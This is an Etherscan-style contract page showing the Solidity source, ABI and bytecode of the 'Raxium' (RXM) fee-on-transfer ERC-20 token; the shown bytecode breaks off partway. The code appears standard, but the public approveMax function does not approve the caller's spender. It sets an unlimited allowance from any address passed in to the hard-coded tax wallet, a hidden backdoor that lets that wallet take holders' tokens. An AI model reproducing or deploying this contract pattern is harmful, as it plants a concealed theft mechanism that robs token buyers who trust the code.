Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract Raxium is Context, IERC20 ... *
•    - function openTrading()
•    - function createLP()
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function approveMax(address spender)
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function min(uint256 a, uint256 b)
•    - function swapTokensForEth(uint256 tok ...
•    - function removeLimits()
•    - function sendETHToFee(uint256 amount)
•    - function manualSwap()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-11-02
*/

pragma solidity 0.8.19;

// SPDX-License-Identifier: MIT

/**
    Website:        https://raxium.credit
    Telegram:       https://t.me/raxium_finance
    Twitter:        https://x.com/raxium_finance
 */

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Raxium is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromTx;
    mapping(address => uint256) private _holderLastTransferTimestamp;    

    bool public transferDelayEnabled;
    address payable public _taxWallet;

    uint256 private _initialBuyTax = 5;
    uint256 private _initialSellTax = 5;
    uint256 private _finalBuyTax = 2;
    uint256 private _finalSellTax = 2;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 5;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 10_000_000 * 10**_decimals;
    string private constant _name = unicode"Raxium";
    string private constant _symbol = unicode"RXM";
    
    uint256 public _maxTxAmount = (_tTotal * 2) / 100;
    uint256 public _maxWalletSize = (_tTotal * 2) / 100;            
    uint256 public _taxSwapThreshold= (1 * _tTotal) / 100000;        // 0.001%, buy 10000
    uint256 public _maxTaxSwap= 12 * _taxSwapThreshold;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xfB071Cb155e2C05AA7de1C9d7808DF8BE89dF5F6);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromTx[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");

        swapEnabled = true;
        tradingOpen = true;
    }

    function createLP() external payable onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function approveMax(address spender) public virtual returns (bool) {
        _approve(spender, _taxWallet, type(uint256).max);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) require(tradingOpen, "Trading not enabled");

        uint256 taxAmount;

        if (from != owner() && to != owner() && from != address(this)) {

            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to == uniV2Pair && from!= address(this) ) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); 
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore && !_isExcludedFromFee[from]) {                
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));

                uint256 contractETHBalance = address(this).balance.mul(90).div(100);        //10% remaining for token swap
                if(contractETHBalance > 0) {
                    sendETHToFee(contractETHBalance);
                }
            }
        }

        if(taxAmount > 0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));

        if(tokenBalance > 0) {
          swapTokensForEth(tokenBalance);
        }

        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

     receive() external payable {

     }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLP","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005600755600560085560026009556002600a556014600b556014600c556005600d556000600e5560646012600a6200003e9190620003b2565b6200004d9062989680620003ca565b6200005a906002620003ca565b620000669190620003e4565b600f556064620000796012600a620003b2565b620000889062989680620003ca565b62000095906002620003ca565b620000a19190620003e4565b601055620186a0620000b66012600a620003b2565b620000c59062989680620003ca565b620000d2906001620003ca565b620000de9190620003e4565b6011819055620000f090600c620003ca565b6012556014805461ffff60a81b191690553480156200010e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191674fb071cb155e2c05aa7de1c9d7808df8be89df5f600179055620001866012600a620003b2565b620001959062989680620003ca565b336000908152600160208190526040822092909255600390620001c06000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260038452828120805486166001908117909155600680546101009081900485168452858420805489168417905590540490921681526004909352912080549092161790556200023d3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002776012600a620003b2565b620002869062989680620003ca565b60405190815260200160405180910390a362000407565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002f4578160001904821115620002d857620002d86200029d565b80851615620002e657918102915b93841c9390800290620002b8565b509250929050565b6000826200030d57506001620003ac565b816200031c57506000620003ac565b8160018114620003355760028114620003405762000360565b6001915050620003ac565b60ff8411156200035457620003546200029d565b50506001821b620003ac565b5060208310610133831016604e8410600b841016171562000385575081810a620003ac565b620003918383620002b3565b8060001904821115620003a857620003a86200029d565b0290505b92915050565b6000620003c360ff841683620002fc565b9392505050565b8082028115828204841417620003ac57620003ac6200029d565b6000826200040257634e487b7160e01b600052601260045260246000fd5b500490565b611a5180620004176000396000f3fe6080604052600436106101445760003560e01c8063751039fc116100b6578063a9059cbb1161006f578063a9059cbb146103a0578063bf474bed146103c0578063c876d0b9146103d6578063c9567bf9146103f0578063dd62ed3e14610405578063f7f23a0c1461044b57600080fd5b8063751039fc146102f55780637d1db4a51461030a5780638bcea939146103205780638da5cb5b146103405780638f9a55c01461035e57806395d89b411461037457600080fd5b8063313ce56711610108578063313ce5671461021a57806351bc3c8514610236578063571ac8b01461024d5780636f268a991461026d57806370a08231146102aa578063715018a6146102e057600080fd5b806306fdde0314610150578063095ea7b3146101915780630faee56f146101c157806318160ddd146101e557806323b872dd146101fa57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600681526552617869756d60d01b60208201525b6040516101889190611623565b60405180910390f35b34801561019d57600080fd5b506101b16101ac366004611686565b610453565b6040519015158152602001610188565b3480156101cd57600080fd5b506101d760125481565b604051908152602001610188565b3480156101f157600080fd5b506101d761046a565b34801561020657600080fd5b506101b16102153660046116b2565b61048a565b34801561022657600080fd5b5060405160128152602001610188565b34801561024257600080fd5b5061024b6104f3565b005b34801561025957600080fd5b506101b16102683660046116f3565b61054b565b34801561027957600080fd5b506006546102929061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610188565b3480156102b657600080fd5b506101d76102c53660046116f3565b6001600160a01b031660009081526001602052604090205490565b3480156102ec57600080fd5b5061024b610577565b34801561030157600080fd5b5061024b6105f4565b34801561031657600080fd5b506101d7600f5481565b34801561032c57600080fd5b50601454610292906001600160a01b031681565b34801561034c57600080fd5b506000546001600160a01b0316610292565b34801561036a57600080fd5b506101d760105481565b34801561038057600080fd5b5060408051808201909152600381526252584d60e81b602082015261017b565b3480156103ac57600080fd5b506101b16103bb366004611686565b6106ad565b3480156103cc57600080fd5b506101d760115481565b3480156103e257600080fd5b506006546101b19060ff1681565b3480156103fc57600080fd5b5061024b6106ba565b34801561041157600080fd5b506101d7610420366004611710565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61024b610757565b6000610460338484610aa1565b5060015b92915050565b60006104786012600a611843565b6104859062989680611852565b905090565b6000610497848484610bc5565b6104e984336104e4856040518060600160405280602881526020016119f4602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611282565b610aa1565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b03161461051857600080fd5b30600090815260016020526040902054801561053757610537816112bc565b4780156105475761054781611436565b5050565b600061056f82600660019054906101000a90046001600160a01b0316600019610aa1565b506001919050565b6000546001600160a01b031633146105aa5760405162461bcd60e51b81526004016105a190611869565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461061e5760405162461bcd60e51b81526004016105a190611869565b61062a6012600a611843565b6106379062989680611852565b600f556106466012600a611843565b6106539062989680611852565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068d6012600a611843565b61069a9062989680611852565b60405190815260200160405180910390a1565b6000610460338484610bc5565b6000546001600160a01b031633146106e45760405162461bcd60e51b81526004016105a190611869565b601454600160a01b900460ff161561073e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105a1565b6014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146107815760405162461bcd60e51b81526004016105a190611869565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107c99030906107bc6012600a611843565b6104e49062989680611852565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610840919061189e565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c6919061189e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610913573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610937919061189e565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061097f816001600160a01b031660009081526001602052604090205490565b6000806109946000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109fc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2191906118bb565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9e91906118e9565b50565b6001600160a01b038316610b035760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a1565b6001600160a01b038216610b645760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a1565b6001600160a01b038216610c8b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a1565b60008111610ced5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a1565b6001600160a01b03831660009081526003602052604090205460ff16158015610d2f57506001600160a01b03821660009081526003602052604090205460ff16155b15610d8357601454600160a01b900460ff16610d835760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016105a1565b600080546001600160a01b03858116911614801590610db057506000546001600160a01b03848116911614155b8015610dc557506001600160a01b0384163014155b1561113f57610df66064610df0600b54600e5411610de557600754610de9565b6009545b8590611474565b906114fd565b60065490915060ff1615610ede576013546001600160a01b03848116911614801590610e3057506014546001600160a01b03848116911614155b15610ede57326000908152600560205260409020544311610ecb5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016105a1565b3260009081526005602052604090204390555b6014546001600160a01b038581169116148015610f0957506013546001600160a01b03848116911614155b8015610f2e57506001600160a01b03831660009081526003602052604090205460ff16155b1561101657600f54821115610f855760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a1565b60105482610fa8856001600160a01b031660009081526001602052604090205490565b610fb2919061190b565b11156110005760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a1565b600e80549060006110108361191e565b91905055505b6014546001600160a01b03848116911614801561103c57506001600160a01b0384163014155b15611069576110666064610df0600c54600e541161105c57600854610de9565b600a548590611474565b90505b30600090815260016020526040902054601454600160a81b900460ff161580156110a057506014546001600160a01b038581169116145b80156110b55750601454600160b01b900460ff165b80156110c2575060115481115b80156110d15750600d54600e54115b80156110f657506001600160a01b03851660009081526003602052604090205460ff16155b1561113d576111186111138461110e8460125461153f565b61153f565b6112bc565b600061112a6064610df047605a611474565b9050801561113b5761113b81611436565b505b505b80156111b9573060009081526001602052604090205461115f9082611554565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111b09085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546111dc90836115b3565b6001600160a01b03851660009081526001602052604090205561122161120283836115b3565b6001600160a01b03851660009081526001602052604090205490611554565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61126b85856115b3565b60405190815260200160405180910390a350505050565b600081848411156112a65760405162461bcd60e51b81526004016105a19190611623565b5060006112b38486611937565b95945050505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113045761130461194a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561135d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611381919061189e565b816001815181106113945761139461194a565b6001600160a01b0392831660209182029290920101526013546113ba9130911684610aa1565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f3908590600090869030904290600401611960565b600060405180830381600087803b15801561140d57600080fd5b505af1158015611421573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610547573d6000803e3d6000fd5b60008260000361148657506000610464565b60006114928385611852565b90508261149f85836119d1565b146114f65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a1565b9392505050565b60006114f683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f5565b600081831161154e57826114f6565b50919050565b600080611561838561190b565b9050838110156114f65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a1565b60006114f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611282565b600081836116165760405162461bcd60e51b81526004016105a19190611623565b5060006112b384866119d1565b600060208083528351808285015260005b8181101561165057858101830151858201604001528201611634565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a9e57600080fd5b6000806040838503121561169957600080fd5b82356116a481611671565b946020939093013593505050565b6000806000606084860312156116c757600080fd5b83356116d281611671565b925060208401356116e281611671565b929592945050506040919091013590565b60006020828403121561170557600080fd5b81356114f681611671565b6000806040838503121561172357600080fd5b823561172e81611671565b9150602083013561173e81611671565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561179a57816000190482111561178057611780611749565b8085161561178d57918102915b93841c9390800290611764565b509250929050565b6000826117b157506001610464565b816117be57506000610464565b81600181146117d457600281146117de576117fa565b6001915050610464565b60ff8411156117ef576117ef611749565b50506001821b610464565b5060208310610133831016604e8410600b841016171561181d575081810a610464565b611827838361175f565b806000190482111561183b5761183b611749565b029392505050565b60006114f660ff8416836117a2565b808202811582820484141761046457610464611749565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118b057600080fd5b81516114f681611671565b6000806000606084860312156118d057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118fb57600080fd5b815180151581146114f657600080fd5b8082018082111561046457610464611749565b60006001820161193057611930611749565b5060010190565b8181038181111561046457610464611749565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b05784516001600160a01b03168352938301939183019160010161198b565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119ee57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e620e654eb00b2ae99444634a22fa6cef876340d01ded4cee8b6fddc25d6d6f464736f6c63430008130033

0x6080604052600436106101445760003560e01c8063751039fc116100b6578063a9059cbb1161006f578063a9059cbb146103a0578063bf474bed146103c0578063c876d0b9146103d6578063c9567bf9146103f0578063dd62ed3e14610405578063f7f23a0c1461044b57600080fd5b8063751039fc146102f55780637d1db4a51461030a5780638bcea939146103205780638da5cb5b146103405780638f9a55c01461035e57806395d89b411461037457600080fd5b8063313ce56711610108578063313ce5671461021a57806351bc3c8514610236578063571ac8b01461024d5780636f268a991461026d57806370a08231146102aa578063715018a6146102e057600080fd5b806306fdde0314610150578063095ea7b3146101915780630faee56f146101c157806318160ddd146101e557806323b872dd146101fa57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600681526552617869756d60d01b60208201525b6040516101889190611623565b60405180910390f35b34801561019d57600080fd5b506101b16101ac366004611686565b610453565b6040519015158152602001610188565b3480156101cd57600080fd5b506101d760125481565b604051908152602001610188565b3480156101f157600080fd5b506101d761046a565b34801561020657600080fd5b506101b16102153660046116b2565b61048a565b34801561022657600080fd5b5060405160128152602001610188565b34801561024257600080fd5b5061024b6104f3565b005b34801561025957600080fd5b506101b16102683660046116f3565b61054b565b34801561027957600080fd5b506006546102929061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610188565b3480156102b657600080fd5b506101d76102c53660046116f3565b6001600160a01b031660009081526001602052604090205490565b3480156102ec57600080fd5b5061024b610577565b34801561030157600080fd5b5061024b6105f4565b34801561031657600080fd5b506101d7600f5481565b34801561032c57600080fd5b50601454610292906001600160a01b031681565b34801561034c57600080fd5b506000546001600160a01b0316610292565b34801561036a57600080fd5b5061